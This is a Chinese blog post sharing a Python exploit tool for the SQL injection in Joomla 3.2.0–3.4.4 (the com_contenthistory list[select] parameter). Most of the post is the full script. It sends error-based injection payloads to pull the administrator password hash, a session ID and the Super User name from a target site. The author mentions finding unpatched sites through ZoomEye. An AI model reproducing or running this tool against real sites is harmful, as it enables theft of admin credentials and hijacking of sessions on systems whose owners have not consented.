前段时间闹得很火的一个SQL注入漏洞,影响版本Joomla 3.2.0-3.4.4版本。目前官方已经提供了升级版本。
Freebuf上的翻译版本在这里:http://www.freebuf.com/articles/82811.html。
主要是尝试一下用Python写了一个利用的工具,可以获取SessionID,获取管理员的账户密码,管理员的的名字。其他的功能只需要加上对应的Payload即可。没有做多线程处理,item_id也只是尝试1000次,如果不成功的话就会退出。在本地测试成功。利用zoomeye也还是可以找到没有及时打补丁的网站。下面看下展示图。
本地测试:
在线测试:
最后,分享一下源码,写的比较粗糙:
#!/usr/bin/env python# Exploit Title:Joomla 3.2.0-3.4.4 sql injection# Date:30/10/2015# Exploit Author:ShadonSniperimport requestsimport optparseimport urlparseimport sysimport ctypesimport reFOREGROUND_GREEN = 0x0aFOREGROUND_RED = 0x0cFOREGROUND_BLUE = 0x09FOREGROUND_YELLOW = 0x0eSTD_OUTPUT_HANDLE = -11#PASSWORD_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=7&type_id=1&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"#SESSIONID_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"PASSFLAG1 = "Duplicate entry '"PASSFLAG2 = "' for key 'group_key'"item_id = 0table_prefix = 'jml';def exploit_password(url):global item_idglobal table_prefixmaxattempts = 1000print 'password attack:'for i in xrange(1,maxattempts+1):sys.stdout.write(" %4d/%4d"%(i,maxattempts))sys.stdout.flush()password_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1"%ipassword_payload = password_payload+"&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(password))%20from%20%23__users%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"password_url = url+password_payloadr = requests.get(password_url)try:index_start = r.content.index(PASSFLAG1)index_end = r.content.index(PASSFLAG2)if index_start == -1:printRed("attack password failed!!!")else:m = re.search("([a-zA-Z0-9]+)_ucm_history",r.content)table_prefix=m.group(1)printRed('Bingo! Attack Done!!!')item_id = isys.stdout.flush()admin_password = r.content[index_start+22:index_end]printYellow("Password: ")printYellow(admin_password)returnexcept Exception,e:passprintRed("password attack failed!!!")def exploit_sessionid(url):global item_idglobal table_prefixpassflag = "500 Layout default not found"print 'sessionid attack:'sys.stdout.flush()sessionid_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM %s_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"%(item_id,table_prefix)session_url = url+sessionid_payloadr = requests.get(session_url)try:index = r.content.index(passflag)if index !=-1:printRed('sessionid attack failed!!!')returnexcept Exception,e:try:index_start = r.content.index(PASSFLAG1)index_end = r.content.index(PASSFLAG2)printRed('Bingo! Attack Done!!!')printYellow("SessionID: ")printYellow(r.content[index_start+22:index_end])except Exception,e:printRed('sessionid attack failed!!!')def exploit_username(url):global item_idpassflag = ".jml_session' doesn't exist"print 'username attack:'sys.stdout.flush()username_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1"%item_idusername_payload = username_payload+"&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"username_url = url+username_payloadr = requests.get(username_url)try:index = r.content.index(passflag)if index !=-1:printRed('username attack failed!!!')returnexcept Exception,e:try:index_start = r.content.index(PASSFLAG1)index_end = r.content.index(PASSFLAG2)printRed('Bingo! Attack Done!!!')printYellow("UserName: ")printYellow(r.content[index_start+22:index_end])except Exception,e:printRed('username attack failed!!!')std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)def set_cmd_text_color(color, handle=std_out_handle):Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)return Booldef resetColor():set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)def printGreen(mess):set_cmd_text_color(FOREGROUND_GREEN)sys.stdout.write(mess)sys.stdout.flush()resetColor()def printYellow(mess):set_cmd_text_color(FOREGROUND_YELLOW)sys.stdout.write(mess)sys.stdout.flush()resetColor()def printRed(mess):set_cmd_text_color(FOREGROUND_RED)sys.stdout.write(mess)sys.stdout.flush()resetColor()def main():parser = optparse.OptionParser('usage%prog '+'-U <urlpath>')parser.add_option('-U',dest='url',type='string',help='vulnerable url path')(options,args)=parser.parse_args()url=options.urlif url==None:print parser.usageexit(0)exploit_password(url)exploit_sessionid(url)exploit_username(url)if __name__ == '__main__':main()